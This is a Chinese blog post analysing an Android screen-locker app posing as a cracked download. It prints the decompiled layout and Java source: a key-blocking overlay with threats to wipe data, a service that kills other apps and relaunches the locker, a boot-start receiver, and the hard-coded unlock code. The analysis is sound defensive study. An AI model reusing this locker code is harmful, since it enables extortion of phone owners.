安卓恶意应用代码分析

最近在找畅无线的破解版，结果从贴吧找到了一个恶意应用。

点击屏幕任何地方都没反应，上面一堆恐吓性文字，没法退出，重启之后手机恢复正常了，然后果断把它卸载了。

下面我们来分析分析。

首先看看用APKTOOLS反编译出来的布局文件

1.main.xml

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <LinearLayout android:gravity="center" android:orientation="vertical" android:background="#ff303444" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_centerHorizontal="true">
        <TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="你的手机已被锁！By 小黑" />
        <Button android:id="@id/bn_bf" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" />
        <TextView android:gravity="center" android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:layout_marginBottom="10.0dip" android:text="24小时内未解锁将格式化！" />
        <Button android:id="@id/bn_hy" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="所有数据将删除无法恢复！" />
        <TextView android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" />
        <TextView android:textAppearance="?android:textAppearanceMedium" android:id="@id/mainTextViewTime" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="15.0dip" android:text="你的手机已被锁！By 小黑" />
    </LinearLayout>
    <TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="24.0dip" android:text="Power by 小黑@2014" android:layout_alignParentBottom="true" android:layout_centerHorizontal="true" />
</RelativeLayout>

布局是一个相对布局里面嵌入了一个线性布局，然后里面放了6个控件，依次是TexTView、Button、TextView、Button、TextView、TextView

2.java代码分析

1.MainActivity.java

package tk.jianmo.study;

import LogCatBroadcaster;
import android.app.Activity;
import android.app.AlertDialog.Builder;
import android.app.Dialog;
import android.app.DialogFragment;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.os.SystemClock;
import android.text.Editable;
import android.view.KeyEvent;
import android.view.Window;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import java.util.Timer;
import java.util.TimerTask;

public class MainActivity
  extends Activity
{
  Context context;
  @Override
  Intent intent;
  int keyTouthInt = 0;
  long newTime = 0;
  SharedPreferences sp;
  int theBeginTimeToFinish = 86400;
  Timer timer;
  TimerTask timertask;
  int timetofinish = this.theBeginTimeToFinish;
  TextView tv_time;
  long usedTime = 0;
  
  public void keytouch(long paramLong, int paramInt1, int paramInt2)
  {
    this.newTime = System.currentTimeMillis();
    if ((this.newTime - paramLong <= 2000) && (paramInt1 == paramInt2))
    {
      this.usedTime = this.newTime;
      this.keyTouthInt = (paramInt1 + 1);
      return;
    }
    this.keyTouthInt = 0;
  }
  
  public void onAttachedToWindow()
  {
    getWindow().setType(2004);
    super.onAttachedToWindow();
  }
  
  public void onCreate(Bundle paramBundle)
  {
    LogCatBroadcaster.start(this);
    super.onCreate(paramBundle);
    requestWindowFeature(1);
    getWindow().setFlags(-2147483648, -2147483648);
    setContentView(2130903040);
    this.context = this;
    this.tv_time = ((TextView)super.findViewById(2131034114));
    Intent localIntent1 = new Intent();
    this.intent = localIntent1;
    Intent localIntent2 = this.intent;
    try
    {
      Class localClass = Class.forName("tk.jianmo.study.killpoccessserve");
      localIntent2.setClass(this, localClass);
      startService(this.intent);
      this.sp = getSharedPreferences("TimeSave", 0);
      this.timetofinish = this.sp.getInt("saveTime", this.timetofinish);
      if (this.timetofinish <= 1) {
        this.timetofinish = this.theBeginTimeToFinish;
      }
      Timer localTimer = new Timer();
      this.timer = localTimer;
      TimerTask local100000001 = new TimerTask()
      {
        @Override
        public void run()
        {
          MainActivity localMainActivity = MainActivity.this;
          Runnable local100000000 = new Runnable()
          {
            @Override
            public void run()
            {
              int i = MainActivity.this.timetofinish / 3600;
              int j = MainActivity.this.timetofinish % 3600 / 60;
              int k = MainActivity.this.timetofinish % 60;
              TextView localTextView = MainActivity.this.tv_time;
              StringBuffer localStringBuffer1 = new StringBuffer();
              StringBuffer localStringBuffer2 = new StringBuffer();
              StringBuffer localStringBuffer3 = new StringBuffer();
              StringBuffer localStringBuffer4 = new StringBuffer();
              StringBuffer localStringBuffer5 = new StringBuffer();
              localTextView.setText(localStringBuffer2.append(localStringBuffer3.append(localStringBuffer4.append

(localStringBuffer5.append(i).append("9999").toString()).append(j).toString()).append("999").toString()).append

(k).toString() + "加QQ解锁2082549931");
              MainActivity.this.sp.edit().putInt("saveTime", MainActivity.this.timetofinish).commit();
              if (MainActivity.this.timetofinish == 0)
              {
                MainActivity.this.stopService(MainActivity.this.intent);
                System.exit(0);
              }
              MainActivity localMainActivity = MainActivity.this;
              localMainActivity.timetofinish = (-1 + localMainActivity.timetofinish);
            }
          };
          localMainActivity.runOnUiThread(local100000000);
        }
      };
      this.timertask = local100000001;
      this.timer.schedule(this.timertask, 0, 1000);
      return;
    }
    catch (ClassNotFoundException localClassNotFoundException)
    {
      NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());
      throw localNoClassDefFoundError;
    }
  }
  
  @Override
  public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent)
  {
    if (paramInt == 4)
    {
      if (this.keyTouthInt != 0) {
        break label153;
      }
      this.usedTime = SystemClock.currentThreadTimeMillis();
      this.keyTouthInt = 1;
      this.usedTime = System.currentTimeMillis();
    }
    for (;;)
    {
      if (paramInt == 3)
      {
        keytouch(this.usedTime, this.keyTouthInt, 5);
        if (this.keyTouthInt == 6)
        {
          MyDialogFragment localMyDialogFragment = new MyDialogFragment();
          localMyDialogFragment.show(getFragmentManager(), "mydialog");
        }
      }
      if (paramInt == 82) {
        keytouch(this.usedTime, this.keyTouthInt, 100);
      }
      if (paramInt == 25) {
        keytouch(this.usedTime, this.keyTouthInt, 2);
      }
      if (paramInt == 24) {
        keytouch(this.usedTime, this.keyTouthInt, 3);
      }
      if (paramInt == 26) {
        Toast.makeText(this, "电源控制成功！", 0).show();
      }
      return true;
      label153:
      if (this.keyTouthInt == 1) {
        keytouch(this.usedTime, this.keyTouthInt, 1);
      } else {
        keytouch(this.usedTime, this.keyTouthInt, 4);
      }
    }
  }
  
  class MyDialogFragment
    extends DialogFragment
  {
    public MyDialogFragment() {}
    
    @Override
    public Dialog onCreateDialog(Bundle paramBundle)
    {
      AlertDialog.Builder localBuilder = new AlertDialog.Builder(getActivity());
      EditText localEditText = new EditText(MainActivity.this.context);
      localEditText.setHint("please input the cipher!");
      localBuilder.setView(localEditText);
      localBuilder.setTitle("Choose");
      localBuilder.setMessage("I will clear all of your data!");
      DialogInterface.OnClickListener local100000002 = new DialogInterface.OnClickListener()
      {
        private final EditText val$edit;
        
        @Override
        public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
        {
          if (this.val$edit.getText().toString().equals("2082549931"))
          {
            MainActivity.this.stopService(MainActivity.this.intent);
            System.exit(0);
          }
        }
      };
      localBuilder.setPositiveButton("Yes", local100000002);
      DialogInterface.OnClickListener local100000003 = new DialogInterface.OnClickListener()
      {
        @Override
        public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) {}
      };
      localBuilder.setNegativeButton("No", local100000003);
      return localBuilder.create();
    }
  }
}

根据Activity的生命周期，我们先看看onCreate方法

第一句LogCatBroadcaster.start(this);这里启动了一个线程

下面是代码

import android.content.Context;
import android.content.Intent;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class LogCatBroadcaster
  implements Runnable
{
  private static boolean started = false;
  private Context context;
  
  private LogCatBroadcaster(Context paramContext)
  {
    this.context = paramContext;
  }
  
  /* Error */
  public static void start(Context paramContext)
  {
    // Byte code:
    //   0: ldc 2
    //   2: monitorenter
    //   3: getstatic 14	LogCatBroadcaster:started	Z
    //   6: istore_2
    //   7: iload_2
    //   8: ifeq +7 -> 15
    //   11: ldc 2
    //   13: monitorexit
    //   14: return
    //   15: iconst_1
    //   16: putstatic 14	LogCatBroadcaster:started	Z
    //   19: getstatic 29	android/os/Build$VERSION:SDK_INT	I
    //   22: bipush 16
    //   24: if_icmpge +6 -> 30
    //   27: goto -16 -> 11
    //   30: aload_0
    //   31: invokevirtual 35	android/content/Context:getApplicationInfo	()Landroid/content/pm/ApplicationInfo;
    //   34: getfield 40	android/content/pm/ApplicationInfo:flags	I
    //   37: istore_3
    //   38: iload_3
    //   39: iconst_2
    //   40: iand
    //   41: ifeq +14 -> 55
    //   44: iconst_1
    //   45: istore 4
    //   47: iload 4
    //   49: ifne +12 -> 61
    //   52: goto -41 -> 11
    //   55: iconst_0
    //   56: istore 4
    //   58: goto -11 -> 47
    //   61: aload_0
    //   62: invokevirtual 44	android/content/Context:getPackageManager	()Landroid/content/pm/PackageManager;
    //   65: ldc 46
    //   67: sipush 128
    //   70: invokevirtual 52	android/content/pm/PackageManager:getPackageInfo	(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
    //   73: pop
    //   74: new 2	LogCatBroadcaster
    //   77: dup
    //   78: aload_0
    //   79: invokespecial 54	LogCatBroadcaster:<init>	(Landroid/content/Context;)V
    //   82: astore 7
    //   84: new 56	java/lang/Thread
    //   87: dup
    //   88: aload 7
    //   90: invokespecial 59	java/lang/Thread:<init>	(Ljava/lang/Runnable;)V
    //   93: astore 8
    //   95: aload 8
    //   97: invokevirtual 61	java/lang/Thread:start	()V
    //   100: goto -89 -> 11
    //   103: astore 5
    //   105: goto -94 -> 11
    //   108: astore_1
    //   109: ldc 2
    //   111: monitorexit
    //   112: aload_1
    //   113: athrow
    // Local variable table:
    //   start	length	slot	name	signature
    //   0	114	0	paramContext	Context
    //   108	5	1	localObject	Object
    //   6	2	2	bool	boolean
    //   37	4	3	i	int
    //   45	12	4	j	int
    //   103	1	5	localNameNotFoundException	android.content.pm.PackageManager.NameNotFoundException
    //   82	7	7	localLogCatBroadcaster	LogCatBroadcaster
    //   93	3	8	localThread	java.lang.Thread
    // Exception table:
    //   from	to	target	type
    //   61	74	103	android/content/pm/PackageManager$NameNotFoundException
    //   3	7	108	finally
    //   15	27	108	finally
    //   30	38	108	finally
    //   61	74	108	finally
    //   74	100	108	finally
  }
  
  public void run()
  {
    try
    {
      Process localProcess = Runtime.getRuntime().exec("logcat -v threadtime");
      InputStreamReader localInputStreamReader = new InputStreamReader(localProcess.getInputStream());
      BufferedReader localBufferedReader = new BufferedReader(localInputStreamReader, 20);
      for (;;)
      {
        String str = localBufferedReader.readLine();
        if (str == null) {
          break;
        }
        Intent localIntent = new Intent();
        localIntent.setPackage("com.aide.ui");
        localIntent.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");
        localIntent.putExtra("lines", new String[] { str });
        this.context.sendBroadcast(localIntent);
      }
      return;
    }
    catch (IOException localIOException) {}
  }
}

我们分析一下里面的run方法，首先调用系统命令得到logcat日志，亲们想看结果的可以再命令行下输入 adb logcat -v threadtime

我们通过这个进程Process再通过getInputStream()方法拿到输入流。

在拿到这个输入流之后，用一个BufferedReader对象每次读20个字节的字符

然后读取BufferedReader里面的首行数据（字符串）

接着把这个字符串通过广播发送出去，当然，里面指定了包名和动作。

好了，这段代码分析完了，我们再次回到onCreate方法。

接下来设置窗口特点1为系统默认

setFlag应该是全屏，这个貌似在反编译的时候出了点问题。

然后设置是布局，在R文件看到对应的值就是刚才的main.xml

接着通过id照片到名为mainTextViewTime的TextView控件

接着新建一个意图，用来更新时间

接下来的这个try-catch代码块中，收益按用类加载器加载了一个名为tk.jianmo.study.killpoccessserve的类，

接下来我们来看看这个类干嘛的。

killpoccessserve.java

package tk.jianmo.study;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningTaskInfo;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.Handler.Callback;
import android.os.IBinder;
import android.os.Message;
import java.util.List;
import java.util.Timer;
import java.util.TimerTask;

public class killpoccessserve
  extends Service
{
  Context context;
  
  @Override
  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }
  
  @Override
  public void onCreate()
  {
    this.context = this;
    Handler.Callback local100000000 = new Handler.Callback()
    {
      public boolean handleMessage(Message paramAnonymousMessage)
      {
        ActivityManager localActivityManager = (ActivityManager)killpoccessserve.this.context.getSystemService("activity");
        String str = ((ActivityManager.RunningTaskInfo)localActivityManager.getRunningTasks(1).get(0)).topActivity.getPackageName();
        if (str.equals("tk.jianmo.study")) {}
        for (;;)
        {
          return false;
          Intent localIntent = new Intent();
          Context localContext = killpoccessserve.this.context;
          try
          {
            Class localClass = Class.forName("tk.jianmo.study.MainActivity");
            localIntent.setClass(localContext, localClass);
            localIntent.setFlags(67108864);
            localIntent.addFlags(268435456);
            killpoccessserve.this.startActivity(localIntent);
            localActivityManager.killBackgroundProcesses(str);
          }
          catch (ClassNotFoundException localClassNotFoundException)
          {
            NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());
            throw localNoClassDefFoundError;
          }
        }
      }
    };
    Handler localHandler = new Handler(local100000000);
    Timer localTimer = new Timer();
    TimerTask local100000001 = new TimerTask()
    {
      private final Handler val$h;
      
      @Override
      public void run()
      {
        this.val$h.obtainMessage().sendToTarget();
      }
    };
    localTimer.schedule(local100000001, 0, '–');
  }
  
  @Override
  public void onDestroy()
  {
    super.onDestroy();
  }
  
  @Override
  public void onStart(Intent paramIntent, int paramInt)
  {
    super.onStart(paramIntent, paramInt);
  }
}

这个类从名字上看是关闭进程的一个服务，继承了android.app.Service，
服务（Service）是Android系统中4个应用程序组件之一。服务主要用于两个目的：后台运行和跨进程访问。

Handler主要用来在线程中和Activity或Service通信的机制。在需要接收消息的Activity或Service中需要实现Handler.Callback接口

这里直接实现了。

getSystemService("activity");这里里面的参数貌似应该是ACTIVITY_SERVICE，可能是反编译成这样了，一会查一下API，这句话得到管理应用程序的系统状态对象

str字符串获得前台运行的Activity的包名

当然接下来自然就判断这个包名是不是它自己啦

for循环里就是不断启动自己的Activity，并且销毁后台进程，为了在task里启动，使用了setFlags和addFlags函数。

然后是周期性发送消息的代码，发送消息的时候不创建新的对象。

继续回到我们的onCreate方法。

然后代码里做了，开启服务，开启定时器，显示剩余时间的操作

然后Activity其他几方法是为了让点击屏幕不起作用的，

里面有个解锁这个界面的方法，就是输入一个号码this.val$edit.getText().toString().equals("2082549931")，这个号码估计大家看到这句话机看出来了吧

这个应用还有一个开机自启的代码

BootBroadcastReceiver.java

package tk.jianmo.study;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver
  extends BroadcastReceiver
{
  String action_boot = "android.intent.action.BOOT_COMPLETED";
  
  @Override
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    try
    {
      Class localClass = Class.forName("tk.jianmo.study.MainActivity");
      Intent localIntent = new Intent(paramContext, localClass);
      localIntent.addFlags(268435456);
      paramContext.startActivity(localIntent);
      return;
    }
    catch (ClassNotFoundException localClassNotFoundException)
    {
      NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());
      throw localNoClassDefFoundError;
    }
  }
}

个人对这个应用评价一下吧

这个应用欺骗小白用户还是很有效的，实际上里面的格式化是吓唬人的，但是对开发者而言，反编译一下就出来了。作者也没做代码混淆。

自启动这个真心不靠谱，自启动也是有顺序的，而且还要等SD卡识别完，这完全可以在识别SD卡的时候直接把它干掉。

作者开发这个应用如果拿来做某些事，可能会有法律风险